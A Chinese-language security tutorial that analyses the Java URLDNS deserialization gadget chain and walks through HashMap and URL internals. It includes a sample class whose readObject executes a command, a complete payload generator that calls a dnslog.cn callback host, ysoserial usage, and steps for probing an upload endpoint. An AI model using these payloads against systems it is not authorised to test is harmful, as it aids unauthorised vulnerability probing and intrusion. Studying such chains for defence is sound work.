Java反序列化1-URLDNS利用链分析
0x01 前言
之前一段时间一直在学习了java,也有刷过一段时间的java靶场。最近想着也应该开始学习java反序列化相关知识了,今天就从java反序列化中最简单的URLDNS链开始分析
-
URLDNS不需要依赖第三方的包,同时不限制jdk的版本
-
URLDNS链并不能执行命令,只能发送DNS请求
-
该链条基本没什么危害,通常做为检测反序列化的入口点使用
0x02 Java序列化与反序列化
序列化
public static void serialize( ) throws IOException {
Student student = new Student();
student.setName("CodeSheep");
student.setAge( 18 );
student.setScore( 1000 );
ObjectOutputStream objectOutputStream =
new ObjectOutputStream( new FileOutputStream( new File("student.txt") ) );
objectOutputStream.writeObject( student ); //将student序列化结果写入student.txt
objectOutputStream.close();
System.out.println("序列化成功!已经生成student.txt文件");
}
反序列化
public static void deserialize( ) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream =
new ObjectInputStream( new FileInputStream( new File("student.txt") ) );
Student student = (Student) objectInputStream.readObject(); //从student.txt中读出student对象,这块需要强转一下。
objectInputStream.close();
System.out.println("反序列化结果为:");
System.out.println( student );
}
上面就是java序列化与反序列化一个简单的例子。
java的序列化与反序列化所使用的函数时writeObject和readObject,java也允许开发者去自己定义writeObject和readObjec,可以看到上面的代码中调用了readObject和writeObject序列化与反序列化对象,但是如果student类中有自己定义的readObject和writeObject函数,则在序列化和反序列化时执行类自定义的readObject和writeObject。当开发者书写不当的话就会造成命令执行漏洞。可以看下面这个例子
public class Evil implements Serializable{
public String cmd;
private void readObject(java.io.ObjectInputStream stream) throws Exception{
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd);
}
}
public class Main {
public static void main(String[] args) throws Exception {
Evil evil = new Evil();
evil.cmd = "open /System/Applications/Calculator.app";
byte[] serializeData = serialize(evil);
unserialize(serializeData);
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();//反序列化时调用Evil类的readObject,此时就会弹出计算器
}
}
很多语言中都存在序列化与反序列化操作,但是由于语言特性与机制的不同,Java就会存在很多反序列化漏洞,而PHP则相对较少。
跟PHP一样,java反序列化我们也需要找一个入口类也叫落脚点,这个类重写了readobject函数,我们通过这个函数进一步进行反序列化漏洞的利用。
0x03 URLDNS调用链
1) HashMap->readObject
2) HashMap->hash
3) URL->hashCode
4) URLStreamHandler->hashCode
5) URLStreamHandler->getHostAddress
0x04 URLDNS链分析
入口类是HashMap,下面是readObject函数,可以看到对于对象输入流中的key即键计算了hash
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false); //这里
}
}
}
跟进hash,对key计算了hashcode
根据payload,我们给hashmap中存入的键是URL类对象,那么这里就是调用url类的hashcode函数,跟进看一下
当hashcode不为-1时,执行handler.hashCode并把自己即URL对象传入,这里的hashcode我们看一下,其默认值就是-1,而且也没有对应的setter方法设置该属性,说明该属性是写死的,所以我们不用担心到不了handler.hashCode。
继续跟进handler.hashCode,我们看到调用了getHostAddress方法,该方法会获得u的IP地址,即这里就会导致发送一个DNS请求。
所以整个调用链为
1) HashMap->readObject
2) HashMap->hash
3) URL->hashCode
4) URLStreamHandler->hashCode
5) URLStreamHandler->getHostAddress
0x05 payload生成
上面已经分析整个利用链,但是呢发现一个问题就是在hashmap利用put存入数据的时候也会调用putVal函数,从而也进入上面的利用链
这就导致我们在生成payload的时候就会进行一次dns查询,为了能看清是反序列化造成的dns请求,这里需要规避一下生成payload时的dns请求。
我们只需要在调用链的其中一步将其阻止就行。这里可以看到先判断hashcode值是否为-1,如果不是就直接返回,从而不会执行到handler.hashcode。但是上面分析过hashcode是一个私有变量不能设置,所以这里可以通到反射将其强制转换为公有的,然后设置成其他值。这样链子就会在URL->hashcode处断掉,从而就不会调用gethostbyname了。
完整的payload如下:
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://xxx.dnslog.cn/");
Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode
try {
//序列化
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
//反序列化,此时触发dns请求
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
0x06 漏洞复现
0x07 ysoserial使用
下载ysoserial源码,在idea中打开,pom.xml中下载依赖
maven编译项目并打包
检查project-structrue的jdk版本(一般为1.8)
如果idea不识别java项目,右键java目录点击mark_directory_as再点击source_root即可
打开项目配置,这里设置你的运行参数
最后进入主类运行main函数即可
大概说一下执行流程
跟进Serializer.serialize,这里我们添加代码让他输出payload到payload.ser文件中
这里我们也可以看一下urldns对应的payload生成类
下面就是生成的payload
0x08 利用URLDNS检测反序列化点
这里我们写一个上传点,会对上传的东西进行反序列化操作。那么这就是一个反序列化点。
利用ysoserial生成urldns的payload
payload保存在目录下的payload.ser
利用postman上传payload.ser
可以看到burp成功接收到dns请求
0x09 ysoserial中的URLDNS payload分析
还记着调用链上那个URLStreamHandler吗
他这里创建了一个SilentURLStreamHandler并继承URLStreamHandler,然后重写了其getHostAddress方法,直接让其返回null
在new URL时用这个SilentURLStreamHandler代替原来的URLStreamHandler,这样在调用链的最后一步调用getHostAddress时就直接返回null,从而并不会发起dns请求。
既然都把这个getHostAddress重写了,那确实是在ht.put时候不会进行dns请求,但是这样一来反序列化的时候也不就直接返回null了吗?
其实不然,我们点进URL类看一下,发现这个属性是一个transient类型的,也就是在序列化的时候不会将其序列化进去,既然不会序列化进去,那么在反序列化的时候就会用默认的URLStreamHandler而不是SilentURLStreamHandler了,这个时候调用getHostAddress是URLStreamHandler的,所以在反序列化中就会发出dns请求而在ht.put时候就不会。
0x10工具开发
刚好也想学一下ui,就用javafx写了一个探测工具,有一点小bug,后面再改吧qwq。
https://github.com/xunyang1/UrlDns-Tool
0x11 参考链接
P牛知识星球-Java漫谈
https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54
https://xz.aliyun.com/t/9417#toc-2
https://paper.seebug.org/1242/#_1
https://www.jianshu.com/p/79baa1fc32c3